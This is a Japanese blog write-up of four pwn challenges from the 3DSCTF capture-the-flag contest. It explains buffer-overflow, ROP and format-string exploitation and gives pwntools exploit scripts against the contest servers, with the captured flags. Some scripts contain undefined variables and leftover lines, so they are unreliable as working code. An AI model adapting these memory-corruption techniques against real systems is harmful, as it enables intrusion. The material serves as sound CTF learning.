読者です 読者をやめる 読者になる 読者になる

ブログ未満のなにか

ブログなのか誰にも分からない

The 318br, DESEC, and SucuriHC Capture The Flag (3DSCTF) writeup

はじめに

ソロで参加しました。
時間内に2問解いたけど、参加している間に問題の解放がされなかったので、あとの2問は競技時間外に解きました。
pwnだけしか解いてないので許して。

Get started (pwn 100)

BOFがありリターンアドレスの書き換えが可能であった。
ファイルからflagを読み込み表示する関数がいるので、リターンアドレスをその関数に書き換える。
関数内で引数のチェックがあるので、チェックが通るように引数を設定する。

from pwn import *

get_flag = 0x080489a0

conn = remote('54.175.35.248', 8005)

payload = 'A' * (0x3c - 4)
payload += p32(get_flag)
payload += 'AAAA'
payload += p32(0x308cd64f)
payload += p32(0x195719d1)

conn.sendline(payload)
print conn.recv(1024)

not the same

BOFにてリターンアドレスが書き換えられる。
ファイルからflagを読み出す関数があるが、読み出すだけで出力しない。
flagは固定アドレスに書き込まれるので、printfで出力しておしまい。

from pwn import *

get_flag = 0x080489a0
flag = 0x80eca2d
printf = 0x804f0a0
exit = 0x806d7d1
#payload = 'A' * (0x3c - 4)
payload = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
payload += p32(get_flag)
payload += p32(printf)
payload += 'AAAA'
payload += p32(flag)
conn = remote('54.175.35.248', 8006)
conn = process('not_the_same') 
conn.sendline(payload)
print conn.recv(1024)
from pwn import *

get_flag = 0x080489a0
flag = 0x80eca2d
printf = 0x804f0a0
exit = 0x806d7d1

#payload = 'A' * (0x3c - 4)
payload += p32(get_flag)
payload += p32(printf)
payload += 'AAAA'
payload += p32(flag)

conn = remote('54.175.35.248', 8006)
conn.sendline(payload)
print conn.recv(1024)

### 3DS{b0f_pr4_c0m3c4r_n3}

Please no (pwn300)

BOFでリターンアドレスの書き換えが可能。
ファイルをオープンし、その中身を出力している関数があるが、肝心のファイル名がbss領域に存在するが、空となっている。
アセンブルした結果を眺めていると、ファイル名に該当するアドレスへとstrcatしている関数が複数存在する。
連結される文字列を組み合わせて、妥当そうな文字列を構成してからファイルの中身を出力させる関数を実行させるようにした。

from pwn import *

host = '209.190.1.131'
port = 9003
file_name = 'please-no'


mflag_addr = 0x8048690
text_addr = 0x8048650
flag_addr = 0x8048590
pop3_ret_addr = 0x8048789


'''
mflag
 8048690:       83 ec 1c                sub    esp,0x1c
 8048693:       81 7c 24 20 41 0c 0b    cmp    DWORD PTR [esp+0x20],0x1b0b0c41
 804869a:       1b 
 804869b:       75 2d                   jne    80486ca <fgetc@plt+0x26a>
 804869d:       81 7c 24 24 4e 37 13    cmp    DWORD PTR [esp+0x24],0xae13374e
 80486a4:       ae 

 80486a5:       75 23                   jne    80486ca <fgetc@plt+0x26a>
 80486a7:       c7 44 24 16 6d 66 6c    mov    DWORD PTR [esp+0x16],0x616c666d
 80486ae:       61 
 80486af:       66 c7 44 24 1a 67 00    mov    WORD PTR [esp+0x1a],0x67


# .text
 8048650:       83 ec 1c                sub    esp,0x1c
 8048653:       81 7c 24 20 37 13 b0    cmp    DWORD PTR [esp+0x20],0xb0b01337
 804865a:       b0 
 804865b:       75 23                   jne    8048680 <fgetc@plt+0x220>
 804865d:       c7 44 24 16 2e 74 65    mov    DWORD PTR [esp+0x16],0x7865742e
 8048664:       78 
 8048665:       66 c7 44 24 1a 74 00    mov    WORD PTR [esp+0x1a],0x74
'''

elf = ELF(file_name)

if len(sys.argv) == 2:
    conn = remote(host, port)
else:
    conn = process(file_name)


payload = 'A' * 20
payload += p32(mflag_addr)
payload += p32(pop3_ret_addr)
payload += p32(0x1b0b0c41)
payload += p32(0xae13374e)
payload += 'AAAA'

payload += p32(text_addr)
payload += p32(pr)
payload += p32(0xb0b01337)
payload += 'AAAA'
payload += 'AAAA'
payload += p32(flag_addr)
payload += p32(0x8048420)
conn.sendline(payload)
print repr(conn.recv(1024))
conn.close()

### 3DS{n0_symb0l5_w1th_R0P_15_p41nful_r1ght}

echoindiapapa (pwn 400)

FSB
0x601080が0x180であればwin関数が呼ばれ、flagを得ることができる。
スタック上に、このアドレスが積まれており、そのオフセットは10であった。

from pwn import *
host = '209.190.1.131'
port = 9005

string_addr = 0x601080
main_addr = 0x400750
if len(sys.argv) == 2:
    conn = remote(host, port)
else:
    conn = process(file_name)

conn.recvuntil('name?')
payload = '%384c%10$n'
conn.sendline(payload)
print repr(conn.recv(1024))
print repr(conn.recv(1024))

### 3DS{FS4_1s_4_b1t_und3r5t1m4t3d}

おわりに

息抜きちょうどよかった。